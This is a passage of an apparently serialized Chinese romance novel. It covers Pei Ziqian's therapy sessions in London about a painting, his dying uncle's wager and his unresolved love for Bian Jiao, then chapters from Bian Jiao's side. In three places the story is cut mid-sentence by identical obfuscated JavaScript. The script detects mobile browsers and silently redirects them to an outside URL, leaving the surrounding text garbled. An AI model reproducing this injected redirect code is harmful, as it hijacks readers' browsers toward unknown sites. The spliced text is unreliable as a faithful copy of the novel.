一年前的二月,裴子骞受邀到柏林参加一项智能制造研讨会,会上他联合本地一家车企品牌展示了Oneiro的算法在具体生产线上的应用优化。 结束当晚,车企负责人邀请他一起去了一场拍卖。 “我知道你喜欢那位导演,听说这次拍卖有他的海报设计原稿,碰巧最近正值电影节,既然来了,不如体验一下氛围?” 裴子骞就应允。到达地点,他才发觉这场拍卖会并不算正式,在场的大部分都是影视业内人士,对这些人而言与其说是来收藏交易,不如说是来扩充人脉。 还未正式开始,车企负责人便一脸抱歉地对他说:“我刚刚询问了一下,原来那副设计原稿今日不会现身。” “没关系,”裴子骞笑说,“权当艺术熏陶了。” 其实那时他已犯严重的紧张性头疼,坐在人声嘈杂的社交环境下并不轻松,但公司与这家车企合作紧密,贸然离场不合人情,于是只能坐到结尾,中途倒是出去抽了一根烟。 “头疼起来不轻松,那天又没有服止疼药,连对方在对我说什么都无法清楚,直到出去吸了一根烟才有所缓解。不过即使这样,我还是购入了一副藏品。” 看到那副蓝色画作的第一刻,裴子骞就认出画中之人。 “那副画很传神,将他左眼上的那颗痣描摹得很精巧,早在三年前我就看过这部电影,也曾想过联系导演,不过从未意料会在那时遇见它。现在回想,也许世界上的任何事情真的是有一根线在背后无形牵引,如若不是遇见这副画,我也不会在几个月后答应回国发展,更就不会约在今天来见你。” 购入那副画后,裴子骞将其放置在慕尼黑的家中,过了差不多一个月左右,又将其带到公司放进收藏室。 又过了一个月,他接到首都打来的电话。 “既然签有保密协议,这一些事情我就没必要费神隐瞒你。我与鹏远集团现任董事长的关系并非父子,而是舅甥。” 咨询师知道鹏远的名号,闻言自然微微一瞬吃惊,不过职业素养使然,他并未将其表露出来。 裴子骞继续讲:“他其实很少与我交流,即使是过去劝我归宗,更多的也是家族中其他亲戚出手。那次之前我们一共只有两次对话,一次是我要出国留学前夕,他钦定我选择什么专业,另一次是B轮融资前夕,他勒令我放手Oneiro,回国接管家族企业。总之两次,我都做了与他意见相反的决定。” 第三次对话,对方的语气不再强硬。 裴子骞的舅舅裴建华,春秋已高,没有子嗣。 早年时妹妹与家中佣人私奔,他一开始无法原谅,后来家中长辈慢慢离世,心中也不免追忆从未珍惜的亲情。尤其一年前确诊肝癌,叱咤风云一生,最终不过一纸诊断书便宣告只剩两年寿命,这时他才意识到世界上有些东西,比如子嗣,比如寿命,再富有也无法强求。 “他告知我肝癌的事情,不过兵不厌诈,即使到那种时候,他还是没有忘记使用苦肉计。他劝说我回国打理家族,逐步接手企业,我还是如以往所说,劝他引入职业经理人,或者设置股权信托,并且告知他我的性取向,也就是说即使继承家业,百年之后,我也依旧会走向他此刻没有决定的那个选择。” 裴建华闻言大为光火。 他不能理解外甥的性取向问题,并且在裴子骞再三确定永远不可能娶妻生子后,声称要与他至此断绝关系。 “这种威胁没有任何意义,断绝关系又能如何,”裴子骞说,.当时我忙碌Oneiro上市之事,公司并非我一人所有,出半点差错都会影响所有员工,无暇分顾。” “但半个月之后,他又重新打入电话。” 这一次,裴建华没有与裴子骞谈论性取向问题,也没有谈论家族企业,不过是询问了Oneiro相关事宜进度,然后问他是否有兴趣与他进行一项对赌合约。 半个月时间,他在化疗时掉了很多头发。 他讲几年前裴子骞到德国之时,他本只想让他随意镀一层金,再攻读MBA回国守业,但他早该想到遗传学诚不欺人,裴子骞的性格与当年的妹妹如出一辙,直到Oneiro的A轮融资结束,他才意识到对方或许真的闯出了一些名堂。 他说:“假如你能赢,那我就听从你的建议处理鹏远,但假如我赢得,只有一个要求,你回国继承家业,并且履行家族责任。至少在我的最后阶段,希望你能给我一些面子。” 裴建华的要求并不过分,尤其是与其堪称巨额的投资承诺相比,这是一个稳赚不赔的买卖。 “很显然,我答应了。” 裴子骞说:“商人的本质就是向利而为,我没有能力免俗,不过除了利益外,还有一些原因。第一是他要我给他一些面子。并非自擂,创业至今我从未向他索取一分金钱,工作室的启动基金是我与宋清跑了很多个企业接下单才取得的收益,但假使没有他,我想我也根本没有出国的机会,所以这份面子,我还是选择偿还。第二,是我本人也很想回国。几年过去,除了工作上无可避免的行程外我很少归国,不论过去在那片土地上发生了什么,那总归是我生长的地方,如果能够回到家乡,没有一个人会选择在外流浪。第三…… “第三是那副画。” 他在此停顿一瞬,忽然朝外翻的百叶窗看去。 “每一次我到伦敦,好像都是这样的天气。”站起身,他问:“方才下飞机后我买了一包烟,但是空气质量已经很差,再吸烟反而难受。你们这里有没有吸烟室?” 咨询师点头说有,并开门为他指路。 “多谢。”他走出门,朝吸烟室走去。 大概十分钟后,他推门回来,带着很浅的一丝烟草味。 重新坐回旋转座椅上,他的思绪好像被打断。 “抱歉,刚刚我讲到哪里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368424|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咨询师开口要提示,他却轻轻抬手示意不必。 “不管讲到哪里,我想应该回归重点。这次我来是想终结咨询,坦白来讲你并没有帮到我什么,但能有一个场合无所顾忌地重提旧事,对我而言已经足够。不论是头疼还是白猫,都已离我远去,也就是说,我已经放下。” 他说这话时重新交错双手,视线平静地与咨询师对视,在对方起身到桌前时,他也随之伸手从内兜取出钢笔,预备签订结束的相关合约。 然而咨询师却只是在他的对面坐下,与他相隔一张书桌的距离。 “裴先生,我更愿意先与您讨论先前没有讲完的话题,又或者是在您回到中国的这几个月中的经历。”咨询师说:“不如我们继续,就先从您上一次终止的那副画开始?” 裴子骞的表情没有分毫变化:“没有必要。” 得到否定回答,咨询师没有强求。轻轻一笑,他拉开左手的抽屉取出一份文件。 “我完全支持您结束咨询的决定,但在签署终止协议前,您能否帮我确认这份档案中的回忆是否有遗漏?”递给裴子骞,他说:“就像您所说的,我也希望我们的咨询能够有始有终。” 收起笔,裴子骞接过他手中的档案夹,垂眸翻阅。 档案中记载的是他从第一次咨询到上一次的全部内容,历时一年,回忆以文字的形式镌刻实体,每一个字眼都变得无从回避。 伴随着他翻阅的声音,咨询师的声音轻缓: “我想每一个故事都有开端和结局,即使中途按下暂停键,又或者随时切换叙事轨道,目的地都不会更改—— “当然,选择权还是在您。” … 历时一年的咨询内容,裴子骞用了五分钟翻阅结束。 合上档案夹后,他将其放在桌上,棕色外壳刚好压住咨询师拿出的那份咨询终止协议。 “有始有终,我的确很追求这个词,”他笑了一声,很是洒脱。看了眼时间后他道:“我以为过去了很久,没想到不过半小时。那么,再讲一讲也无妨。” 说着,他取出手机,在相册里找出一张图片,递给对方。 “来英国的前一天,我与他有过一场谈话,结束后我托助理卖出那副画。如若这副画能够顺利脱手,姑且能够当做我与他的终点。” 咨询师接过。 垂眸端详两秒,咨询师忽然讲:“我见过这副画,哦,原来是这部电影。” “你见过?”裴子骞些微出乎意表,但很快恢复:“的确,这部作品应该很有名。” 咨询师颔首说:“电影的内容我已经忘得差不多,但记得这副画,因为它使用渐变的深蓝色,湖天一片,中间那抹抬头望天的人像就显得更加孤拔了,无法不令人印象深刻。” 裴子骞也颔首,接回手机。 敛下眼睫看了几秒屏幕中的图画,他说:“这片湖,我曾去过。” 34.B-沉沦3 还在国内念大一时,裴子骞去过一次首都。 那时他与家族的关系还未松口,新学校是国内开校最早的一批。 第一个周末结束,他买了一张机票到首都。 “去之前,我的目标很明确,那就是要见到一个人。”他说:“我知道传媒大学的新生开校日期就在那个周末,周一正式开学,所有学生都要在这个截止日期前报到。那时候是八月末尾,我买了四瓶矿泉水,带了一把太阳伞,因为我想这个战线可能会很长,我的资金不多,需要防止自己中暑进医院。” “很显然,我要见的是他。” 法院那天后,裴子骞就没有再见到过卞皎。 其实他的生活并没有发生多大的改变,依旧该怎么过怎么过。 这时他已得到不错的高考成绩,可以正大光明接下几场家教,也给高中生讲过物理,话比以前要多很多,也从不会给谁摆冷脸。 只是当以往家教过的家长要联系他时,他已换了一个手机号码,所以错过了几笔生意。 暑假后一个月的时间,他挣足了大一一学年的学宿费,甚至在没有助学贷款的情况下,还能有余钱支配。 “这一次回国后与他的谈话中,他告诉我法院那天我们确实有过对视。其实这并不意外,我非眼瞎耳聋,有些事情,只不过是不愿意承认。虽然那个暑假我对自己讲无数次他或许真的没有看见我,但在拨打一晚无人接听的电话后,我还是选择拔掉电话卡,连同着旧手机一起封存不再打开。我以为这样就能让自己放下一些无谓的坚持,可到头来还是那一句话,‘人最大的烦恼,就是记性太好’,我确定自己无法忘记,也从未尝试忘记——” “既然他不联系我,本着有始有终的原则,那我就去找他。” 但一切与裴子骞料想的不同。 第一,那个周末的紫外线并不强烈,首都瓢泼一天大雨,太阳伞从另一种角度发挥了作用;第二,他的战线也并不长,第一天不过上午十点,他就见到了卞皎。 “我一直在想,见到他后应该说什么,以及想要一个什么样的对话。总之我知道自己并不想简简单单就将这一切打上终止符号,平心而论,我更想看见他脆弱,难过,也许这种想法很自私,但我至少想让他和我一样。 “可他没有。” 第一眼看见卞皎时,裴子骞并不敢确认。 如针的雨丝之中,对方从一辆黑色轿车上下来,第二个下车的是主驾的郑怀远,他本想在这时上前,却没想到还有第三个人下车。 那是一个十七八岁的少年,和卞皎看起来一般大,剃着一个寸头,他帮卞皎提行李,卞皎为他打伞,他们低声交谈、对视而笑。 这样的一幕,连另一把伞下的郑怀远都像一个外人,更何况更远处的裴子骞。 “那天我没有上前,后来也没有再见到卞皎,时隔多年,说不后悔是假的。”裴子骞说。 沉默几秒,他继续道: “现在想来,也许当时那个人是他的亲戚,又或者是朋友,因为那天我在校门外继续待了两个小时,最后见到郑怀远和那个人一起出来离开学校,证明他们仅仅是来送卞皎开学。但没办法,十七八岁的年纪最爱装得什么都懂,那时我只能告诉自己爱情这件事情从没有我想象的那么复杂,对方都能轻易放下,我又何必紧抓不放。” “我一共在首都待了两天,见到他的那天下午我去到鹏远和裴建华第一次见面,终于表达归宗意愿。第二天我又重新回到传媒大学,想办法进入校门。学校我没有逛完,并不知道有多大,只是阴差阳错走到校园湖边。还记得那个湖的中央有一小抹喷泉,四周绿荫如盖,在湖边坐了许久,我已经不能记清自己当时究竟想了些什么,只能记得或许是雨后放晴的缘故,首都的天原来也能很蓝,然后我就想,不愧是首都,阳市真的没有办法和这里比。” 离开首都后,裴子骞一度以为自己找到了终点。 他放手,尝试回归当下,在最后的国内时光里与室友们交心相处,偶尔周末去旅游,捡起曾经爱看的书和电影,一切好像过得充实而平静。 直到出国前夕的某个晚上,收拾行李,翻到压在行李箱最底部的电话卡和旧手机。 抽了根烟后,裴子骞给手机充电。 摁开机,习惯性地点进视频播放器,还没反应过来,很久以前下载的那个演讲就仿佛开始自动播放。 “如果遗憾有颜色,我想应该是……” 怔愣一秒,裴子骞忽然将手机掷在地上,折断烟,他埋头在手中。 手机仍旧在放着音频,那篇演讲的内容他几乎能够倒着默写下来,甚至就连字与字之间的停顿他都可以原封不动地还原。 可是又有什么用。 那是自祖母离开后,他第一次哭。半个小时后重新点燃一根烟,他站起来,将碎屏的手机摁关机,与掉落一旁的电话卡重新装进密封袋,接着继续收拾行李。 除了脸颊上突兀的泪痕之外,一切像什么都没发生。 “你有没有过这样的想法,那就是人从出生那刻起好像就在寻找一个终点,宁愿一切结束,也不要枉死半路?” 裴子骞忽然问,但并没有等对方回答。自顾自,他说: “所以当裴建华提出对赌合约,要求Oneiro回国发展时,我答应了。一开始我想得很简单,我要回国,再看一看那副画里的那片湖,毕竟时间已经过去这么久,卞皎也早该从那所学校里毕业,而在外面这么多年,我也见过许许多多更美的日落蓝天,说不定真的可以用这种方式来终结没有意义的执念。 “可惜这一次,我又想得太简单。” 在回国前,裴子骞从未想过要与卞皎见面。 纵使他知道对方就在首都念书,工作,很有可能已经成为一名演员,但他想自己只需要再去看看那片湖,甚至连金湖都不需要,只需要那一片。然而一归国便投身工作,心脏麻痹从早到晚,虽然其中也有过几次整天空闲的假期,却无法说清是无心或是有意,总之原本的计划就是被推迟,并且没有限度。 直到那天慈善晚会,他意外见到卞皎。 对方一袭白色西服,拿着一杯香槟站在角落。五年过去,那张面孔居然没有分毫变化,就连微微发神的样子都一模一样。 目光垂落在眼前不知道哪个地方,左眼上那颗小痣就显露出来。 裴子骞视线颤抖飘落,差点执不稳酒杯。 “时至今日,我唯一的进步也许就是终于能够承认自己的缺点,例如总是将复杂的事情想得太简单,而简单的事情又想得太复杂,我以为我放下了,就像放下手中的酒杯。整个晚上,我有意避开他的视线所及区域,但却又不能忍住下意识看向他的目光。你会不会觉得,其实有些时候这种下意识是刻在血液骨髓里的本能,毕竟过去重复太多次的动作,实在无法轻易就将它抑制。” 直到晚会后,裴子骞在场外要上车。 分明没有饮酒,脑袋却混沌得像刚进行完长途飞行,在后座静坐了差不多有五分钟,他终于出口要让司机开车。 这时,厅门方向传来一阵骚动。 目光接触到救护车灯光的那一瞬间,裴子骞的心像被攥了一把,重新回到多年前小巷里的那个夏夜。即使不能确定是谁受伤,他的脑海里却立即浮现出卞皎的模样。 开门下车,焦急的视线在看到担架上的陌生男人身影时终于滞缓,心脏刚被无罪释放,可下一秒,就看到厅门前的卞皎被搀扶着走出来。 他一身洁白的西服染上惨红,就像某年天象中的红月,令人无法直视,触目惊心。 裴子骞终于再也撑不住,靠到车门旁。 司机下车来询问他有没有事,他却一把推开,直到见到卞皎上了一辆警车,才像意识回笼。 “抱歉,”他坐回车上,对司机讲,“我……送我去……送我回家。” 静默几秒后,裴子骞说: “那天晚上我打了几通电话才弄清楚到底发生了什么。托了一些关系解决这件事情后我终于敢去了解他,才知道原来这么多年里,他过得并不算好。” 后来中秋那天,他与陈久玥在露台抽烟,巧合地撞见卞皎。 “很可笑,我装作不认识他。那时我想既然这些年里我们都过得不好,那又何必再重逢两相折磨。他却好像很惊讶会在那里看见我。” “他还是穿着那件白西装,真的皎洁像月亮。我一直清楚自己这个人小气至极,冥顽至极,抓着一件事情就很难放下,陈久玥当时问我何必与裴建华签那份对赌合约,我想来想去,眼前竟然只浮现出卞皎的模样,我没有办法回答,只能说我又不是要天上的月亮,却没想到下一秒,月亮真的出现在我眼前。” 那一刻裴子骞无比清晰地意识到,他如果要放下,要一个结局,要找到终点,目的地就不能定在传媒大学的那片喷泉湖。 否则一切不过是在回忆长河中刻舟求剑。 “好在有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378493|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场聊天。”他忽然说。 与咨询师讲了最后那次在阳市的聊天,应对方要求,裴子骞耗费了一些力气解释咎由自取与两不相欠这两个成语。 当咨询师颔首表示听懂后,他再次交错双手。 “这场谈话前如果说我没有奢望,那一定是说谎,两不相欠这个词原以为说不出口,但好在这之后全都可以放下。他其实从不欠我什么,高中时候我的祖母住院没钱,多亏他爸出手大方。说到这里,有一次家长会,我在学校撞见过郑怀远,我穿着校服,看到他后停下脚步甚至忘记躲藏,但他却只瞟了我一眼就转过头,装作与我不相识。他们好像都很擅长掠过我。” 讲到这里,裴子骞轻声笑了一下。 “总之要说欠,还是我欠他更多,要说咎由自取,也只是我罢了。” 拿起纸杯喝了口水后,他没再说话,咨询师轻轻应了一声,对他说稍等,四方室内就唯有对方的键盘敲击音在环响。 良久,咨询师停下输入动作,拉开右手抽屉取出一个纸盒包装。 “裴先生,这是一个音乐盒。”他说。 裴子骞抬手接过。一番自白后,他的表情像是从未有过的轻松,甚至掂着纸盒开了个玩笑:“临别礼?你们医院很讲究。” “很抱歉。”咨询师却说:“我想我们的咨询还不能就此终结。” 裴子骞的眉就皱起。 咨询师侧过显示器,向他展示这一次的咨询记录,说:“我注意到在这次咨询全程中,您的手都是交错在双腿上方,这代表一个防御姿势。并且在我向您提出要谈谈那副蓝色画像时,您的脚尖其实一直朝向门外的方向。总之,我想请你试着将未能终结的情结封存在这个音乐盒里。每当旋律响起,就让那些记忆随着发条停止一起凝固。当然,您需要亲自决定何时终止上发条。” 裴子骞却放下纸盒:“我已经不需要再回忆。” 他的话语十分决断。 咨询师没有继续说服,只将音乐盒隔空点了点,轻声说: “还是那句话,选择权在您。” - 当天下午,裴子骞回到慕尼黑。 在国内发展接近一个季度,他大约两周就会飞公司总部一次,每次的行程四点一线,家、公司、马场、餐厅。这一次跟进了几个项目的进度,都取得了不错的成果,他与几个项目负责人聊了会儿天,气氛融洽,有人说他今天似乎心情不错,他笑了笑没有接话。 第二天晚餐是和当地的两位高层一起,一家三星法式餐厅,席间他饮了一杯意式马提尼。 第三天还是这家餐厅,他随意点了一瓶干红。 第四天依旧是这家餐厅,不过这次他独自来,坐在靠窗对面的位置点了一份贝隆牡蛎却没有动一口,只饮掉一杯DRC,结过账后直接推门出去,靠在方才窗内正对的那棵树下点燃一根烟。 一根烟尽又是一根。 抽到第四根时,终于给司机打去电话。 翌日早七点,他到公司处理完最后一部分文件,下楼上车时司机问他去马场还是回家,这次回慕尼黑五天,他还一次也没去马场骑马。他则只降下车窗,询问了一句自己能否吸烟,得到肯定回答后才讲:“回家。” 回到家他洗了个澡,然后上床。 这时时间不过才上午十一时,他住的这间顶层公寓可以看见远处雪山,他却拉上窗帘,靠在床头,整间房间只有一抹猩红明灭的烟点。大约三次火机点燃的声音后,发条转动声响起,接着乐声响起。月亮河,上一次听这首歌他还是十七岁。 床头灯开启—— 一副蓝色画像靠在墙角。 在此刻,他对着那副画勃/起。 六天前从咨询室去吸烟室后,裴子骞同助理打电话暂停交易。到达慕尼黑后助理电话再次打来,讲之前的买家愿出一点五倍价格,他依旧拒绝交易。 在吸烟室的十分钟里他将那包黑色香烟抽了一根,至此一发不可收拾。 既然戒烟本不该再买烟,既然放下那就应该卖画,但他没有一件事情最终成功。 也许就像他的人生其实从出生那刻起就已经呼出第一口气,一个人根本不可能无气可叹,也许也像他根本做不到遗忘,一切所谓的接受和释怀不过是清醒中沉沦,挣扎中横跳至少不是死亡,痛苦中的人应该停止寻找一个平衡的良方,毕竟这世界上有许多病原本就是药石无医。 他无法遗忘—— 那又怎样。 35.B-日出1 裴子骞刻意过得忙碌的时候,卞皎也并没有清闲到哪里去。 《南城旧事》的拍摄进度很快,在阳市待了不过两周时间,他的戏份已经完成一半。期间刘成终于来到片场,没通告的时候,卞皎就跟着他在阳市以及周边闲逛,许多的公园、名山,他甚至还是从刘成的口中才得知。 刘成就笑说他算是独在家乡为异客了,果真不算本地人。卞皎就也笑笑,讲自己不过只在这里待过一年出头,连市区都没逛遍。 刘成敏锐,很轻易就能看出他情绪上的不对劲,但又得知不了是出于什么原因。 要杀青的最后一周里,卞皎连着拍了三天夜戏,终于得到两天休息时间,接下来就只有最后两天的晚上有通告了。看着小孩在宾馆里昏天黑地睡了一日后,刘成敲门,提议第二天一起去爬一爬郊区的一座名山。 卞皎来开门时睡眼朦胧,显然是刚从床上起身。门刚开一瞬间,刘成就闻到很大的一股薄荷气味,走进门后他吃了一惊。 对方的床头摆了两盏绿色香薰,都还燃着火光,不大的房间里香味刺鼻,再看卞皎床上的痕迹,显然刚刚从香薰旁起身。 刘成光是远远在沙发上闻着就觉得刺激神经,完全无法想象对方是怎么在这种条件下睡着的。 转头看了眼,卞皎在桌台前仰着头喝水,线条滚动,脖颈修长,一瓶矿泉水在他刚进门时打开的,这时已经灌了快一半。 直到只剩三分之一,才放下水瓶,很轻地松了口气。 “爬山?”他转过头来看刘成:“哪座山,高么?” 刘成说:“不高,算是个小山包,里面有公园。” 卞皎熬了三天大夜,他哪敢带他去爬高山。 “那就算了。”卞皎却说:“哥,我有点累。” 刘成反应了两秒他的话,哦了一声说那行,起身往外走。直到回到自己的房间,他才忽然察觉对方刚刚的话有些奇怪。 有点累了,却只想爬高山? 这因果关系可不合理。 刘成想带卞皎去登山,不过是想借自然景观放松他的心情。他自己倒是常登高山,知道到达山顶最高处一览众山小时的畅快之情可以抵过一切坏心情,但结合着卞皎最近几日的状态,他免不了对他的意图做出其他揣测。 于是第二天午饭时,绕着法试探了一番卞皎的心理状况后,刘成最终以一种极其委婉的方式询问下周返回首都后,用不用他帮忙预约一场心理咨询。 卞皎下午有一段物料拍摄,因此午饭是一小盒蓝莓,边吃边看着剧本,听见他的话就抬起眼来。 “心理咨询?”他笑了下:“哥你怎么忽然说这个?” 刘成就不再拐弯:“看你最近心情不好,真的担心。” 卞皎合上剧本。 “谢谢哥,但我没有这个需要。”他晃了晃蓝莓:“虽然吃得少,但是至少是自己喜欢的东西,能有什么不开心?” 刘成看着他,不知道怎么说。食物和心情之间虽说有关系,但心情不霁哪能单单归结到食物上?任谁看对方这番说辞都是在回避。 “这也不是什么不好的事,你倩姐工作压力大,定期就会预约。咱们有什么不对去就行,是不是?” “成哥。”卞皎忽然说:“我来阳市前已经咨询过一次。” 刘成闻言怔愣,他没料到对方真的已在接受咨询。 “那……” “也许是因为刚刚了结一段关系。”卞皎很自然地讲。 刘成彻底愣住。 “一段关系?” 卞皎点头,未做解释:“总之我自己心里有数,你放心。” 说完他道了句先回房间,要刘成慢慢用餐,就带着剩下半盒蓝莓起身离开了餐厅。 刘成完全没明白方才的一通对话。 他坐在原地,握着筷子怔了许久。 了结了一段关系,这种表述一般只会用在感情方面,身为卞皎的经纪人,近半年来他几乎每天都会和对方见面,却从未在什么时候感觉到卞皎的感情状态有什么变化,怎么会突然就…… 这都还算不上重点。重点是卞皎刚刚讲出那句话的样子,以及这些天的表现,怎么看也不像他所说的心里有数。 于是这天晚餐时分,刘成难得追问了一次。 话题没再扯到心理咨询,也有意绕开卞皎所说的那段关系,他只是在只有两碗清粥的席间状似不经意地问了一个简单的问题: “小皎,怎么忽然想要爬高山?” 卞皎这时正在看手机,滑动屏幕的手指似乎钝了一瞬,抬眸对视一眼,他忽然将屏幕递给刘成。刘成便去看,屏幕上却是一条热搜的界面,主角是他们的老熟人,方岑。 “方岑又被黑了?”刘成读了读内容,注意力转移到热搜上:“热度还挺高……每月一段新绯闻,果然树大招风。” 卞皎收回手机,说:“要不要和红姨联系一下。” 刘成笑了:“这可是她亲儿子,处理黑料哪需要我们提醒。” “好。”卞皎放下汤勺,将碗里原本就只有一半的米汤喝完,又欲要告别。 刘成立马算是回过味来了,意识到这小孩又在回避话题。 “等等。”他叫住他:“吃这么点,哪里够?” 卞皎收拾餐盘的动作就停下,眼看着刘成起身走向餐台,接着端着一小碟清炒西蓝花回来,放到他的盘子里。 卞皎出言拒绝:“哥,我明天有戏。” 刘成说:“晚上的戏,这点水肿早起运动半个点就消了,别把身体饿垮了。” 他这样说,卞皎就不好再推辞,只能重新握起筷子。 刘成看着他垂眸一朵一朵夹起西蓝花,忽然说:“诶,差点忘了。” 他交叉起双臂,靠近在桌上,佯装不确定。 “刚刚我有没有问你来着,你为什么想要爬高山?” 卞皎的动作立时就滞了一秒,极其明显。 刘成这个人向来不爱八卦闲聊,几乎每一次和卞皎聊天都带有很强的目的性,但出发点都是好意。 卞皎也不怎么爱与人聊天,尤其对打探别人的私隐不感兴趣,所以平日里每当红姨闲扯到什么家长里短的话题时,卞皎就会不动声色地将对方的注意力转移,实在转移不了话题了,就会将火力巧妙地抛到刘成身上,刘成心知肚明,也乐得为他承担。 但当转移对象从红姨变成刘成时,这个招数显然就没那么管用了。 餐厅内已陆续有人离开,相较方才的嘈杂安静许多。他们坐在靠窗的位置,夕阳时分的光线就侧洒在桌面之上,称得对面那双执筷的手修长白皙。刘成抱着双臂,等待对方的回答,显得极其有耐心。 大概半分钟过去,卞皎忽然放下筷子。 “也没什么。” 抬起双眸,他讲:“只是想要看看日出。” 很简单的一个答案,简单到令刘成有些质疑。 “日出?” 卞皎点头。 “日出云海。”没有再等刘成发问,他已望了下窗外,缓缓说:“我一直觉得,或许日出代表着一种接受。” “……接受?” “接受。” 世界上许多人没有信仰,但每个人都有追寻救赎的时刻,卞皎是最普通的其中之一。 大一时候,他旁听过一场讲座,那客座教授的研究方向他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384775|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能完全记清,大致上是宗教学相关内容。讲到有关“因果”这个词语时,教授说:“在释家观念中,每一次日落都是地球转动的果,也是次日日出的因,此有故彼有,此生故彼生,因果如昼夜。” 教授问,知道这一点后,大家会不会觉得人生的难题不再那么难以跨越。 卞皎当时并不解其意。 直到听完讲座的几个月后,他接下了人生中第一部电影。冬日最寒冷的时候,跟随剧组去到南方的海市,在拍摄间隙见证了一场日出。 那时他刚淋完一场大雨,正患着重感冒,凌晨四点不到就与剧组同学们等候在观景台。主笔剧本的那位学长给大家泡了热茶,他的女友负责分发,二人分明前一天才闹过一次矛盾,这时虽然依旧没有对话,但配合紧密又默契。 幽蓝的苍穹之下,大家低声说笑,卞皎就捧着纸杯,去看远处逐渐泛白的天空。 漫天翻涌的云海之中,先到来的不是太阳,而是光线,已无法准确说出的海拔上,各种山峰就在此刻缓慢清晰,那一瞬间,仿佛整个世界上没有一片地区处于阴影。 忽地身后传来一阵欢笑声,卞皎回头去看,就看见那位学长单膝跪地,一手捧着不知从哪里变出的花束,另一手里是一只打开的绒布盒。算不上大的钻石在日出下折射着光芒,从盒中降临到学姐的中指之上,再靠近她脸庞上滑落的泪珠,接着贴近到学长拥抱的肩臂,这一刹那,这只钻戒成为世界上最珍贵美丽的珠宝,拥有相爱人的泪滴。 后来卞皎听那位学姐讲,如果不是事前与他闹了一番矛盾,她可能还不会真的答应。新的日出出现的那一瞬间,她转过头想对他说的话其实是我爱你,不过还没有讲出口,这句话就先出现在对方的动作里。如果要感谢什么,那就感谢生命中出现的矛盾,谢谢它让她毫不犹豫地说出我愿意。 卞皎想自己好像懂得了什么,终于终于懂得了什么。 其实当初接这部电影的契机很简单,认识的学长专程为这个角色找到卞皎,并提出一笔不菲的报酬。 彼时郑怀远还未患病,他经济上尚不紧张,因此头两次都婉言拒绝。但最后一次,对方带来计划书,讲到这场拍摄并不只是纯粹的工作,他们接下来有一项传媒类的国家级竞赛,正在准备校赛阶段。团队很强,如果卞皎愿意接戏,可以带他挂个名,等后续海市拍摄时顺便一起去决赛。 对方开出的条件不差,甚至可以说非常丰厚,但可惜卞皎对这些能够丰实简历的东西并无兴趣,在礼貌听完对方一大段陈述后,他已想好如何拒绝后,刚要开口,却忽然在最后一句话上动了动神情。 “海市?”他问。 对方立时看出他对这个地点感兴趣:“对,期间我们还会去邻市拍摄,登一座名山拍日出,费用全包,就当是剧组团建了……” 卞皎沉默几秒,出言答应。 在这之前,他已经连休两个月的事假,终于回到校园环境。郑怀远担心他的状况,本来就不允许他四处乱跑,一听说他在冬天要去海市,更是死活不同意。为此卞皎与他爆发过许多次争吵,就像全世界的父子关系一样,二人难得陷入冷战,直到去海市前,卞皎都没有和他有任何联系。 落地目的地时已是十一月,他先与剧组紧锣密鼓进行了一天的拍摄,在当天快傍晚时,他托剧组里一位同学对象的关系,成功进入到一所大学校园中。 此前请假那两个月中,郑怀远没有限制卞皎的通讯,就是在那时,卞皎曾试图联系裴子骞,只是没有任何音讯。最终他打电话到高中班主任那里,好一番委托对方才终于得到这一年的毕业录取统计,而这也是他接下这部戏的原因—— 裴子骞在海市。 36.B-眼睛2 这一天是周末,海市落雨,卞皎没有带伞。 此前他尝试过找裴子骞的具体专业或者班级,但却没能获得任何信息。本想等进入学校再多问问,只要可以找到,即使要找很多天也没有关系,幸运的事却在这时发生: 同学的男友曾与裴子骞一起参加过几次校外活动,有过几面之缘,甚至知道他的宿舍号。 卞皎登时道谢,按照对方告知的地点一刻不敢耽搁地找过去,浑身淋得湿透,他却连想都没想,只要能够见到裴子骞,就算在三九天游进湖里也没关系。 敲开那间宿舍门前,他靠着墙做了好几次深呼吸,直到找路过的男生借了几张纸巾,将脸和头发尽量擦干净,才敢真正抬手敲门。 可他最终扑空。 开门的男生先是看了看他的头发,主动询问要不要给他借根毛巾,他道不用,自己是来找一个人。 对方却说:“裴哥啊?他早退宿了。” 卞皎一时僵硬:“……退宿?” “对,严格来讲是退学,上个月中的事了。应该是换了个学校。” 卞皎忽然感觉自己头发在朝下滴水,抬手抹了把脸颊,他问:“那你知道他去哪个学校了吗?” “抱歉。”对方说:“这个不清楚。他退学得很突然,室友一场,我们说给他整个告别宴都没机会……怎么,你是?” 